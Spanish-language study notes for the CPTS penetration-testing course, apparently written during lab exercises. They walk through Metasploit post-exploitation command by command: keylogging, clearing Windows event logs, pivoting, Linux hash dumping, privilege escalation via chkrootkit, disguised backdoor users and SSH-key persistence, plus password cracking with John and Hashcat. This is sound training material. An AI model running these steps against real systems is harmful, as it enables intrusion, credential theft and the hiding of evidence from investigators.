CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 6. Postexplotacion / 3. Windows Postexplotacion
8. Windows Keylogging
Keyloggin es el proceso de registrar o capturar las pulsaciones de teclas entrantes de un sistema atacante
Esta tecnica no esta limitada a post explotacion, hay multiples de programas y dispositivos USB que pueden ser usados para capturar y transmitir pulsaciones de teclas en un sistema
Meterpreter en un sistema Windows puede proveer la habilidad de capturar la pulsacion de teclas de entrada en un objetivo y descargarlo en nuestra maquina local
Comandos
| Comandos |
Explicacion |
| service postgresql start && msfconsole -q |
|
| workspace -a keylogging |
|
| setg rhosts IP |
|
| search badblue_passthru |
Es el mismo target que en [[7. Habilitando RDP]] |
| use |
|
| show options |
|
| run |
|
sysinfo getuid |
|
| pgrep explorer.exe |
Funciona mejor |
| migrate PID |
|
|
|
| Comandos que vamos a usar |
keyscan_dump keyscan_start keyscan_stop |
|
|
| Abrimos el target machine y abrimos una nota para que luego se registre si escribimos |
|
| keyscan_start |
|
| Volvemos a la nota y escribimos |
username:admin password:password1 |
| keyscan_dump |
Veremos lo que se escribio |
| Volvemos a escribir |
|
| keyscan_dump |
|
| Abrimos un powqrshell y ponemos ipconfig |
|
| keyscan_dump |
SI NO FUNCIONA –> keyscan_stop keyscan_start Volver a escribir keyscam_dump |
Ejemplo
![[Pasted image 20260302225534.png]]![[Pasted image 20260302225537.png]]![[Pasted image 20260302225541.png]]![[Pasted image 20260302225545.png]]![[Pasted image 20260302225549.png]]![[Pasted image 20260302225552.png]]![[Pasted image 20260302225555.png]]![[Pasted image 20260302225558.png]]![[Pasted image 20260302225601.png]]
*Si no funcionase se para y se vuelve a iniciar el keyscan. O migrar a explorer
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 6. Postexplotacion / 3. Windows Postexplotacion
9. Limpiando Eventos De Log
El SO Windows guarda y cataloga todas las acciones y eventos relacizados en el sistema y los guarda en Windows Event Log
Los Event Logs son categorizados en base al tipo de evento y son almacenados:
- Application Logs: guarda eventos aplicaciones/programas como inicios, crasheos…
- System Logs: guarda eventos del sistema como incios, reinicios…
- Security Logs: guarda eventos de seguridad como cambios de pass, fallos de autenticacion…
Los Event Logs pueden ser accedidos via Event Viewer en Windows
Los event logs son la primera parada para un forensic tras la deteccion del compormiso. Es muy importante limpiar tus huellas tras realizar nuestros analisis
Comandos
| Comandos |
Explicacion |
| service postgresql start && msfconsole -q |
|
| workspace -a ClearEventLogs |
|
| setg rhosts IP |
|
| search badblue_passthru |
|
| show options |
|
| run |
|
| sysinfo |
|
| getuid |
|
|
|
Vamos al Windows y nos metemos en el Event Viewer - Windows Logs |
Aqui veremos Application, security, setup, system… |
| Miramos el ultimo evento (se pueden filtrar de ultimo-primero o primero-ultimo) Hacemos docle click encima |
|
| Se ve un Account was logged off |
|
|
|
| Volvemos al meterpreter |
|
| shell |
|
| net user administrator Password1 |
Le cambiamos el password para ver el event log |
|
|
Volvemos al Windows y en Security vemos ahora: - A user account was changed, donde sale Administrator y el password last change |
|
|
|
| Volvemos al meterpreter |
|
| clearev |
Borra los Event Log |
|
|
| Vamos al Windows |
|
Si vamos a los security o cualquiera solo vamos a ver: - The audit log was cleared |
|
|
|
| El siguiente paso seria eliminar los archivos y ejecutables pasados al objetivo com rm |
|
Ejemplo
![[Pasted image 20260302232319.png]]![[Pasted image 20260302232323.png]]![[Pasted image 20260302232325.png]]![[Pasted image 20260302232329.png]]![[Pasted image 20260302232332.png]]![[Pasted image 20260302232335.png]]![[Pasted image 20260302232338.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 6. Postexplotacion / 3. Windows Postexplotacion
10. Pivoting
Pivoting es una tecnica de postexplotacion que involucra el uso de un host comprometido para atacar a otro en la red interna del host comprometido
Tras ganar acceso a un host, podemos usar el host comprometido para explotar otros hosts en la misma red interna a la cual no pudimos acceder antes
Meterpreter nos provee habilidades para anadir una ruta de red a la subred interna y consecuentemente escanear y explotar otro sistema en la red
![[Pasted image 20260302232719.png]]
Comandos
| Comandos |
Explicacion |
| ping IP1 |
|
| service postgresql start && msfconsole -q |
|
| workspace -a pivoting |
|
| db_nmap -Pn -sS -sV -O -T4 IP1 |
Tenemos el webserver vulnerable por rejetto |
| search rejetto |
|
| use |
|
| show options |
|
| set rhosts IP1 |
|
| run |
|
sysinfo getuid |
|
| ipconfig |
Veremos las interfaces. Usaremos la Interfaz 12 que es la que se conecta con al red interna |
| run autoroute -s IP_red/mascara |
|
| bg |
|
| sessions -n NOMBRE -i 1 |
|
| search portscan/tcp |
|
| use |
|
| set rhost IP2 |
|
| set PORTS 1-100 |
|
| run |
Vemos que tiene un puerto 80 |
| sessions 1 |
|
| portfwd add -l 1234 -p 80 -r IP2 |
|
| bg |
|
| db_nmap -sS -sV -p 1234 localhost |
Veremos por el puerto 1234 la version (en realidad es el puerto 80 de IP2) |
| Si abrimos un browser y ponemos 127.0.0.1:1234 veremos el codigo de la pagina web de IP2 |
|
| search badblue_passthru |
|
| use |
|
| set payload windows/meterpreter/bind_tcp |
Bind porque con reverse no nos llegaria al no tener acceso directo. Tiramos el bind a traves de la maquina comprometida |
| set rhosts IP2 |
|
| set lport N |
Un puerto que no haya sido usado |
| run |
Obtenemos un meterpreter en IP2 |
sysinfo getuid |
|
| bg |
|
| sessions -n NOMBRE -i 2 |
|
Ejemplo
![[Pasted image 20260303001156.png]]![[Pasted image 20260303001159.png]]![[Pasted image 20260303001201.png]]![[Pasted image 20260303001204.png]]![[Pasted image 20260303001206.png]]![[Pasted image 20260303001210.png]]![[Pasted image 20260303001213.png]]![[Pasted image 20260303001228.png]]![[Pasted image 20260303001244.png]]
A mi se me ha quedado bug. Si no funcionani el modulo poner como rhosts la IP. La he sacado al hacer el portscan/tcp a demo2.ine.local te da la IP
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 6. Postexplotacion / 4. Linux Postexplotation
1. Modulos Postexplotacion Linux
MSF nos provee de varios modulos de postexplotacion para Windows y Linux
Podemos usar estos modulos para enumerar informacion del sistema Windows del que tenemos acceso>
- Enumeracion de privilegios de usuario
- Enumeracion de usuarios logeados
- VM check
- Enumeracion de programas instalados
- Enumeracion de AVs
- Enumeracion de maquinas conectadas al dominio
- Enumeracion de parches instalados
- Enumeracion de shares
Comandos
| Comandos |
Explicacion |
| service postgresql start && msfconsole -q |
|
| workspace -a Linux-post |
|
| setg rhost IP |
|
| db_nmap -Pn -sS -sV -O -T4 IP |
Explotacion de samba |
| search type:exploit samba/is_known_pipe |
|
| use |
|
| show options |
|
| exploit |
|
| Ctl Z |
|
| sessions -u N |
|
| sessions |
Abra una nueva session con Meterpreter |
| sessions N (Meterpreter) |
|
| sysinfo |
|
| getuid |
|
| shell |
|
| /bin/bash -i |
|
| groups root |
Enumerar grupos de root |
| cat /etc*issue |
Enumerar la distribucion |
| uname -a |
Kernel |
| ip a s |
Ver interfaces |
| ps aux |
Procesos que se estan ejecutando |
| env |
Ver variables del sistema |
| bg |
|
- post/linux/gather/enum_config
| search enum_config |
|
| use post/linux/gather/enum_config |
Recopila los archivos de configuracion de Linux |
| show options |
|
| set session N |
|
| run |
Los verdes son los que existen |
| loot |
Veremos los archivos |
| cat /archivo |
Leemos uno |
| search type:post platform:linux env |
|
| use post/linux/gather/env |
Recopila las variables de entorno |
| show options |
|
| set session N |
|
| run |
Los verdes son los que existen |
- post/linux/gather/enum_network
| search enum_network |
|
| use post/linux/gather/enum_network |
Recopila info de la red |
| show options |
|
| set session N |
|
| run |
Cosas como intentar abrir el sshd, recopilar info y configuraciones del firewall, dns… |
| loot |
|
| cat /archivo |
En el de dns config vemos que el ns principal es members-linode.com (linode es un servicio cloud) |
- post/linux/gather/enum_protections
| search enum_protections |
|
| use post/linux/gather/enum_protections |
Checkea el endurecimiento de los mecanismos del sistemas , enumera aplicaciones instaladas que puede ser usada para dificultar, prevenir o detectar ataques. Intenta descubrir los modulos de Linux (LSM), antivirus, IDS/IPS… |
| show options |
|
| set session N |
|
| run |
Vemos cosas como: ASLR, SMEP, SMAP, Yama, tcpdump… |
| notes |
|
- post/linux/gather/enum_system
| search enum_system |
|
| use post/linux/gather/enum_system |
Recopila informacion del sistema |
| show options |
|
| set session N |
|
| run |
Vemos cosas como: ASLR, SMEP, SMAP, Yama, tcpdump… |
| loot |
|
| cat /ruta/installed_packets |
|
| cat /ruta/cronjobs |
|
- post/linux/gather/checkcontainer
| search checkcontainer |
|
| use post/linux/gather/checkcontainer |
Nos dice si tiene un contenedor |
| show options |
|
| set session N |
|
| run |
Parece ser un Docker host |
- post/linux/gather/checkvm
| search checkvm platform:linux |
|
| use post/linux/gather/checkvm |
Detecta un entorno virtual |
| show options |
|
| set session N |
|
| run |
|
- post/linux/gather/enum_user_history
| search enum_user_history |
|
| use post/linux/gather/enum_user_history |
Trata de conseguir los history (contienen comadnos realizados previamente) a de las cuentas |
| show options |
|
| set session N |
|
| run |
|
| loot |
|
| cat /ruta/para_root |
|
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 6. Postexplotacion / 4. Linux Postexplotation
2. Linux Escalada De Privilegios Explotando Un Programa Vulnerable
Linux Privelege Escalation
La tecnica escalada de privilegios se usa dependiendo del Kernel Linux que este corriendo en el sistema o distribucion
MSF nos da algunos Kernel exploit pero en algunos casos hay un exploit module que puede ser usado para explotar un servicio vulnerable para elevar tus privilegios
Comandos
| Comandos |
Explicacion |
| service postgresql start && msfconsole -q |
|
| workspace -a Linux_Priv |
|
| set rhosts IP |
|
| db_nmap -Pn -sS -sV -O -T4 IP |
Tenemos un puerto ssh en el 22 |
| search ssh_login |
|
| use N |
El que no sea con pub key |
| show options |
|
| set username jackie |
Nos lo dan |
| set password password |
Nos lo dan |
| run |
|
| sessions |
|
| sessions -u 1 |
|
| sessions N |
|
| whoami |
|
| cat /etc/*releases |
|
| uname -r |
|
| sysinfo |
|
| cat /etc/passwd |
Tenemos dos usuarios: root y jackie (tienen un /bin/bash) |
| ps aux |
Vemos un bin ejecutado por el admin |
| cat /bin/check-down |
Se ejecuta cada minuto chkrootkit |
| chkrootkit –help |
|
| chkrootkit -V |
Nos da una version vulnerable (anteriores a 0.50) |
| bg |
|
| search chkrootkit |
|
| use |
|
| show options |
|
| set chkrootkit /bin/chkrootkit |
|
| set session N |
|
| set lhost eth1 |
|
| run |
|
Ejemplo
![[Pasted image 20260303162939.png]]![[Pasted image 20260303162943.png]]![[Pasted image 20260303162946.png]]![[Pasted image 20260303162949.png]]![[Pasted image 20260303162952.png]]![[Pasted image 20260303162955.png]]![[Pasted image 20260303162959.png]]![[Pasted image 20260303163001.png]]![[Pasted image 20260303163005.png]]![[Pasted image 20260303163007.png]]![[Pasted image 20260303163010.png]]![[Pasted image 20260303163012.png]]
Se ejecuta un chkrootkit vulnerable
![[Pasted image 20260303163027.png]]![[Pasted image 20260303163030.png]]![[Pasted image 20260303163033.png]]![[Pasted image 20260303163035.png]]![[Pasted image 20260303163037.png]]![[Pasted image 20260303163040.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 6. Postexplotacion / 4. Linux Postexplotation
3. Dumping Hashes Con Hashdump
Podemos dumpear Linux hashes con el modulo de post explotacion hashdump
Las contraseñas de Linux se guardan en /etc/shadow y solo pueden ser accedidas con el usuario root o un usuario con privilegios
El modulo de hashdump puede ser usado para dumpear hashes de cuentas de usuarios de /etc/shadow y pueden ser usadas para quitarles el formato para pasarlos por John The Ripper
Comandos
| Comandos |
Explicacion |
| service postgresql start && msfconsole |
|
| workspace -a Hashdump |
|
| db_nmap -Pn -sS -sV -O -T4 IP |
Samba is_kwonw_pipename |
| setg rhost IP |
|
| search type:exploit samba |
|
| use |
|
| show options |
|
| run |
|
| Ctl Z |
|
| sessions -u N |
|
| sessions N |
|
|
|
| Si tratamos de hacer hashdump en un sistema que no es Windows nos dara un error. Tenemos que usar el modulo de hasdump |
|
|
|
| getuid |
Somos root podemos dumpear los hashes |
| bg |
|
|
|
| search type:post platform:linux hashdump |
|
| use |
|
| show options |
|
| set session N |
|
| run |
|
| loot |
Tendremos el shadow, el passwd y las passwords unshadowed (sin formato para john) |
| cat /passwd |
Veremos el /etc/passwd |
| cat /shadow |
Veremos el /etc/shadow sin contraseñas asignadas (lo pone con *) |
| sessions N |
|
| shell |
|
| /bin/bash -i |
|
| passwd root |
Le cambiamos la contraseña |
| password123 |
Se la establecemos |
| usradd -m NOMBRE -s /bin/bash |
Creamos un usuario |
| passwd NOMBRE |
|
| password321 |
|
| Ctl C |
|
| bg |
|
| run |
Puede que tengamos que poner de nuevo el set session N
Veremos el hash del root y NOMRE |
| loot |
|
| cat /unshadowed |
Veremos el hash de los usuarios root y NOMBRE
$N$ : algoritmo hash. Visto en: [[1. Dumping Linux Password Hashes]]
Mas alto = mas dificil de crackear |
Mas modulos para hashdump u obetner creds
- post/multi/gather/ssh_creds
- post/multi/gather/docker_creds
- post/linux/gather/hashdump
- post/linux/gather/ecryptfs_creds
- post/linux/gather/enum_psk
- post/linux/gather/enum_xchat
- post/linux/gather/phpmyadmin_credsteal
- post/linux/gather/pptpd_chap_secrets
- post/linux/manage/sshkey_persistence
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 6. Postexplotacion / 4. Linux Postexplotation
4. Estableciendo Persistencia En Linux
Comandos
| Comandos |
Explicacion |
| service postgresql start && msfconsole -q |
|
| workspace -a Linux_Persistence |
|
| setg rhost IP |
|
| search ssh_login |
Mismo lab que el de ssh |
| use |
|
| set username jackie |
|
| set password password |
|
| run |
|
| sessions |
|
| sessions -u N |
|
| search chkrootkit |
|
| use |
|
| show options |
|
| set session N (Meterpreter) |
|
| set path /bin/chkrootkit |
|
| set lhost eth1 |
|
| run |
|
| Ctl Z |
|
| sessions -u N |
|
| sessions N (Nueva Meterpreter con uid 0) |
|
| getuid |
|
Primer metodo manual - Crear un backdoor user
Solo funciona si existe un protocolo de log como ssh en el que nos podamos conectar siempre que podamos
| shell |
|
| cat /etc/passwd |
Vemos los usuarios Nuestro nuevo usuario no debe parecer clandestino |
| useradd -m NOMBRE -s /bin/bash |
-m: le crea un directorio propio al usuario -m /ruta: especificar donde se creara (si no se especifica se creara en /home) El nombre puede ser algo como ftp, si existiese un servicio ftp -s: indica el tipo de shell que tenfra |
| passwd NOMBRE |
Para ponerles una password |
|
|
| Ahora vamos a darle permisos root |
|
| usermod aG root NOMBRE |
|
| groups NOMBRE |
Vemos que pertenece al grupo de root |
|
|
| Si miramos /etc/passwd y miramos :N:N: se ve que este usuario fue creado recientemente. Vamos a hacer que parezca que no es tan reciente |
|
| usermod -u N(como 15 por ejemplo) NOMBRE |
|
| cat /etc/passwd |
Veremos que ahora pone :15:N: |
| exit |
|
| bg |
|
Segundo metodo MSF - Modulos de persistence
| Comandos |
Explicacion |
| search platform:linux persistence |
Hay de APT Package, cron, bash, rc.local. autostart desktop… |
|
|
| Primero apt_package_manager_persistence |
|
| use |
|
| info |
Este modulo corre un payload cuando el paquete manager es usado. No se configura el multi/handler automaticamente por que hay que configurarlo manualmente Crea una pre-invocacion del APT en apt.conf.d
Este modulo debido a lo de multi/handler no nos da acceso siempre por lo que este no lo usaremos |
|
|
| Segundo cron_persistence |
|
| search platform:linux persistence |
|
| use |
|
| info |
Permite crear una tarea programada que nos de acceso al sistema de forma persistente Se ejecuta cada min mas o menos |
| set session N |
|
| set lport N |
Uno que no se este usando |
| set lhost eth1 |
|
| run |
Parece no funcionar usamos otro |
|
|
| Tercero service_persistence |
|
| search platform:linux persistence |
|
| use |
Trata de crear un servicio en una caja y lo marca como autorun. Necesitamos suficiente acceso como para escribir los archivos y potencialmente reiniciar los servicios |
| set session N |
|
| set payload cmd/unix/reverse_python |
|
| set lhost eth1 |
|
| set lport N |
Uno no usado |
| run |
No funciona |
| show targets |
|
| set target System V |
|
| run |
No funciona |
|
|
| Cuarto sshkey_persistence (lo usamos cuando nuestros intentos fallan y para ser sigilosos) |
|
| search platform:linux persistence |
|
| use |
Crea un pub y private key shh y lo añade a todos los directorios de usuario y nos provee el private key para autenticarnos en cualquier usuario sin usar la contraseña No deja mucho rastro salvo los logs in |
| show options |
|
| set createsshfolder true |
Por si no tiene un archivo ssh |
| set session N |
|
| run |
Crea un directorio a todos los usuarios |
| loot |
Vemos el private key |
| cat /privatekey |
|
| Lo copiamos |
|
|
|
| exit -y |
|
| nano ssh_key |
Lo pegamos |
| chmod 400 ssh_key |
|
| ssh -i ssh_key USER@IP |
|
Ejemplo
![[Pasted image 20260303175439.png]]![[Pasted image 20260303175442.png]]![[Pasted image 20260303175445.png]]![[Pasted image 20260303175448.png]]![[Pasted image 20260303175450.png]]![[Pasted image 20260303175453.png]]
Se cerro la sesión 2
![[Pasted image 20260303175501.png]]![[Pasted image 20260303175505.png]]![[Pasted image 20260303175508.png]]![[Pasted image 20260303175511.png]]![[Pasted image 20260303175516.png]]![[Pasted image 20260303175520.png]]![[Pasted image 20260303175525.png]]![[Pasted image 20260303175529.png]]![[Pasted image 20260303175533.png]]![[Pasted image 20260303175537.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 7. Plugins, Ejemplo Ataque Meterpreter, Evasion Ids Ips
1. Uso De Plugins
Se encuentran en:
ls /usr/share/metasploit-framework/plugins/
Para usar uno:
load modulo
modulo help
Ejemplo: load nessus | nessus help
Instalacion de un nuevo plugin
git clone https://...
sudo cp ./PLUGIN.rb /usr/share/metasploit-framework/plugins/NOMBRE.rb
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 7. Plugins, Ejemplo Ataque Meterpreter, Evasion Ids Ips
2. Meterpreter
Comandos de Meterpreter
Si usamos help salen
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
migrate Migrate the server to another process
pivot Manage pivot listeners
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session.
transport Change the current transport mechanism
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel
Ejemplo
msf>
db_nmap -sV -p- -T5 -A IP
hosts
services
search iis_webdav_upload_asp
use 0
show options
set RHOST IP
set LHOST INTERFAZ
run
meterpreter>
getuid -- Access failed
ps
steal_token PID -- Cogemos uno de NT AUTHORITY\NETWORK SERVICE
getuid -- NT AUTHORITY\NETWORK SERVICE
shell
shell>
dir
cd
exit
meterpreter>
bg
msf>
search local_exploit_suggester
use 0
show options
set SESSION 1
run -- exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable
use exploit/windows/local/ms15_051_client_copy_image
show options
set session 1
set LHOST tun0
run
meterpreter>
getuid -- NT AUTHORITY\SYSTEM
hashdump
lsa_dump_sam
lsa_dump_secrets
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 8. Laboratorios
1. Modulos
- Realizamos un escaneo de servicios y vemos que es un Windows Server 2016 que puede ser vulnerable a EternalRomance
![[Pasted image 20260610105418.png]]
- En msfconsole usamos eternalromance
![[Pasted image 20260610105508.png]]![[Pasted image 20260610105516.png]]![[Pasted image 20260610105637.png]]![[Pasted image 20260610105812.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 8. Laboratorios
2. Payloads
- Escaneamos los servicios del objetivo y vemos varias aplicaciones web pero nos piden DRUID (8081)
![[Pasted image 20260610110828.png]]
-
Si entramos podemos ver la version es 0.17.1
![[Pasted image 20260610110912.png]]
-
Si buscamos exploits en internet encontramos algunas cosas pero nos centramos en el de Rapid7 que puede que este en MSF
![[Pasted image 20260610111012.png]]![[Pasted image 20260610111106.png]]
-
Lo configuramos y usamos
![[Pasted image 20260610111131.png]]![[Pasted image 20260610111320.png]]
-
Buscamos la flag
![[Pasted image 20260610111454.png]]![[Pasted image 20260610111532.png]]![[Pasted image 20260610111543.png]]![[Pasted image 20260610111602.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 8. Laboratorios
3. Jobs Y Sessions
- Accedemos a la pagina web y miramos el codigo fuente. Aqui encontramos el nombre de la aplicacion que esta corriendo
![[Pasted image 20260610111856.png]]![[Pasted image 20260610111931.png]]
- Buscamos en Internet y encontramos varios resultados pero nos centramos en el de Rapid7 que puede que este en MSF
![[Pasted image 20260610112032.png]]![[Pasted image 20260610112118.png]]
-
Lo usamos y configuramos
![[Pasted image 20260610112142.png]]![[Pasted image 20260610112509.png]]
-
Buscamos modulos para escalar privs
![[Pasted image 20260610112727.png]]![[Pasted image 20260610112904.png]]![[Pasted image 20260610112930.png]]
-
Usamos el de sudo
![[Pasted image 20260610113041.png]]![[Pasted image 20260610113228.png]]
-
No ha dejado, buscmos la version de sudo para encontrar un modulo mas especifico
![[Pasted image 20260610113410.png]]![[Pasted image 20260610113434.png]]![[Pasted image 20260610113458.png]]![[Pasted image 20260610113520.png]]![[Pasted image 20260610113548.png]]
CPTS
1. Reconocimiento, Enumeracion Y Plan De Ataque / 7. Usando MSF / 8. Laboratorios
4. Meterpreter
- Hacemos un escaneo de servicios al objetivo y encontramos IIS en el 5000 y 5985
![[Pasted image 20260610114148.png]]
![[Pasted image 20260610114133.png]]
-
Mirando el codigo fuente encontramos la version
![[Pasted image 20260610114242.png]]
-
Buscmos en Internet y nos centramos en el de rapid7 que puede que este en MSF
![[Pasted image 20260610114435.png]]![[Pasted image 20260610114451.png]]
-
Lo configuramos y usamos
![[Pasted image 20260610114544.png]]
-
Obtenemos las preguntas
![[Pasted image 20260610114622.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 1. Password Attacks / 1. Tecnicas De Crackeo (john Y Hashcat)
1. Intro Y Hashes
Obtener hashes de una pass
echo -n PASS | (md5sum, sha256sum...)
![[Pasted image 20260610123635.png]]
![[Pasted image 20260610124503.png]]
Rainbow tables
Son tablas con la entrada y salida de las funciones hash usado para identificar si la contraseña corresponde con el hash almacenado
![[Pasted image 20260610123741.png]]
Como son objetos de muchos ataques se les añadio salt (una secuencia random de bytes antes del hash)
El salt no es secreto, lo necesita el sistema para verificar si la contraseña proporcionada realmente es correcta pero sirve contra ataques porque aunque tu introduzcas las credencial correcta puede que la salt no (salt = 1byte)
Ataque de fuerza bruta
Intentar todas la combinaciones de numeros, letras y simbolos
![[Pasted image 20260610124249.png]]
Ataque de diccionario o wordlist
Se usan listas de contraseñas como:
CPTS
2. Explotacion Y Movimiento Lateral / 1. Password Attacks / 1. Tecnicas De Crackeo (john Y Hashcat)
2. John The Ripper
John the Ripper: herramienta usada para crackeo de credenciales (brute-force y wordlist)
Modos de crackeo
Single crack mode (–single ARCHIVO)
Mas util en credenciales Linux. Genera candidatos de contraseñas basados en el nombre de usuario, directorio de inicio y valores GECOS (nombre completo, numero de telefono…)
EJEMPLO: imagina que encontramos el siguiente contenido en /etc/passwd y lo guardamos en un archivo llamado ejemplo.txt
r0lf:$6$ues25dIanlctrWxg$nZHVz2z4kCy1760Ee28M1xtHdGoy0C2cYzZ8l2sVa1kIa8K9gAcdBP.GI6ng/qA4oaMrgElZ1Cb9OeXO4Fvy3/:0:0:Rolf Sebastian:/home/r0lf:/bin/bash
- Nombre del usuario: Rolf Sebastian
- Directorio: /home/r0lf
Ejecutamos el siguiente comando para generar posibles contraseñas:
john --single ejemplo.txt
Wordlist (–wordlist=/RUTA)
Para descifrar contraseñas con un ataque de diccionario
john --wordlist=/RUTA/WORDLIST1,/RUTA/WORDLIST2... HASH_FILE --rules...
–rules: para generar contraseñas candidatas mediante transformacion de numeros, letras, caracteres…
Formato wordlist:
PASSWORD1
PASSWORD2
PASSWORD2
...
Incremental (–incremental ARCHIVO)
Crea contraseñas candidatas al estilo fuerza bruta pero basadas en un modelo estadistico (cadenas de Markov). Prueba todas las combinaciones de caracteres definidas por un conjunto de caracteres priorizando las contraseñas mas probables segun los datos de entrenamiento
john --incremental ARCHIVOHASH
Podemos usar hashID que ademas de decir el formato de hash nos da el formato John The Ripper:
hashid -j "HASH"
En este ejemplo no nos deja claro que tipo es:
![[Pasted image 20260610130327.png]]
Para ver todos los formartos que se pueden usar:
john --list=formats
Descrifrando archivos
Se pueden descrifrar archivos cifrados o protegidos por contraseña con las siguientes herramientas:
HERRAMIENTA ARCHIVO ARCHIVOHASH
![[Pasted image 20260610130541.png]]
Ejemplos
![[Pasted image 20260610130757.png]]![[Pasted image 20260610131356.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 1. Password Attacks / 1. Tecnicas De Crackeo (john Y Hashcat)
3. Hashcat
Hashcat: herramienta para crackear contraseñas de Linux, Windows y MacOS
hashcat -a N -m N <hash> <wordlist, rules...>
-a N: attack mode
-m N: hash type
Ver tipos de hash para -a N
hashcat --help
![[Pasted image 20260610131709.png]]
Otra forma es hashID:
hashid -m 'HASH'
Modos de ataque para -m N
Diccionario
-a 0
hashcat -a 0 -m N 'HASH' /RUTA/WORDLIST
Rules
Para ver los archivos de reglas que existen:
ls -l /usr/share/hashcat/rules
Este modo nos permite hacer ciertas modificaciones en numeros, letras y simbolos
hashcat -a 0 -m N 'HASH' /RUTA/WORDLIST -r /usr/share/hashcat/rules/REGLA.rule
EJEMPLO: best64.rule tiene un conjunto de las 64 modificaciones mas comunes para la contraseña estandar probada
Mask
-a 3
Tipo de ataque de fuerza bruta en el que se define explicitamente el numero y posicion de caracteres que se probaran
EJEMPLO: sabemos que la longitud es de 8 caracteres y necesita minimo 2 numeros. Podemos acotar la fuerza bruta a 8 caracteres y que los numeros sean al final
![[Pasted image 20260610134727.png]]
EJEMPLO PRACTICO: imaginemos que queremos probar una contraseñas que tengan el primer caracter una letra mayuscula, continuan 4 minusculas, un digito y un simbolo:
?u?l?l?l?l?d?s
![[Pasted image 20260610134903.png]]
Ejemplos
- Usando wordlist
![[Pasted image 20260610135220.png]]
- Usando reglas
![[Pasted image 20260610135409.png]]
- Usando mascaras
![[Pasted image 20260610135736.png]]![[Pasted image 20260610135745.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 1. Password Attacks / 1. Tecnicas De Crackeo (john Y Hashcat)
4. Creacion De Nuevas Wordlist Y Reglas
Las politicas de contraseñas se usan para obligar a los usuarios a crear contraseñas mas dificiles de crackear, aunque aun asi sigue habiendo tendencia a contraseñas debiles y predecibles
Estos son algunos habitos:
![[Pasted image 20260610140533.png]]
Creacion de una wordlist a la que se le aplican reglas
John y Hashcat ya tienen reglas predefinidas como best64 pero aqui crearemos nosotros de forma manual
- Primero creamos la wordlist propia
![[Pasted image 20260610140711.png]]
- Tras esto creamos un archivo de reglas:
![[Pasted image 20260610140733.png]]
![[Pasted image 20260610140742.png]]
- En el primer intento no tocara nada de la wordlist
- En el segundo pondra las palabras con una mayuscula al principio y el resto minusculas
- En el tercero cambiara las o por 0
- …
- Podemos ver como quedaria con el siguiente comando
hashcat --force password.list -r custom.rule --stdout | sort -u > mut_password.list
![[Pasted image 20260610141008.png]]
Generacion de listas de palabras usando CeWL
CeWL: escanea palabras potenciales del sitio web y las guarda en una lista
Despues podemos usar reglas con esa lista
- Usamos CeWL
cewl http://SITIO_WEB/ -d N -, N --lowercase -w ARCHIVO
-d N: profundidad de la araña
-m N: longitud minima de la palabra
Ejemplo practico
![[Pasted image 20260610183342.png]]
- Le pedimos a la IA que nos haga una wordlist con los datos que tenemos
![[Pasted image 20260610183328.png]]
- Tras esto creamos un archivo de reglas
![[Pasted image 20260610183437.png]]
- Verificamos como quedaria
![[Pasted image 20260610183618.png]]
- Tratamos de descifrar con esta wordlist nueva
![[Pasted image 20260610183725.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 1. Password Attacks / 1. Tecnicas De Crackeo (john Y Hashcat)
5. Descifrando Archivos Encoded Protegidos
Busqueda de archivos cifrados
- Por su extension (una lista exhaustiva esta en FileInfo):
for ext in $(echo ".xls .xls* .xltx .od* .doc .doc* .pdf .pot .pot* .pp*");do echo -e "\nFile extension: " $ext; find / -name *$ext 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done
o
curl -s https://fileinfo.com/filetypes/encoded | html2text | awk '{print tolower($1)}' | grep "\." | tee -a compressed_ext.txt
- SSH Keys (muchas claves ssh estan encriptadas por una frase)
grep -rnE '^\-{5}BEGIN [A-Z0-9]+ PRIVATE KEY\-{5}$' /* 2>/dev/null
Para saber si la clave ssh esta protegida, al leerla con ssh-keygen nos pedira esa frase
ssh-keygen -yf ~/.ssh/id_rsa
![[Pasted image 20260610184357.png]]
Descifrando
Archivos protegidos por contraseña
- Buscamos la herramienta 2john que nos sea util
locate *2john*
- En este caso es office2john
office2john.py ARCHIVO.docx > ARCHIVO.hash
john --wordlist=/RUTA/WORDLIST ARCHIVO.hash
john ARCHIVO.hash --show
Otro ejemplo:
pdf2john.py ARCHIVO.pdf > ARCHIVO.hash
john --wordlist=/RUTA/WORDLIST ARCHIVO.hash
john ARCHIVO.hash --show
Claves SSH
- Buscamos la herramienta 2john que nos sea util
locate *2john*
- En este caso es ssh2john.py
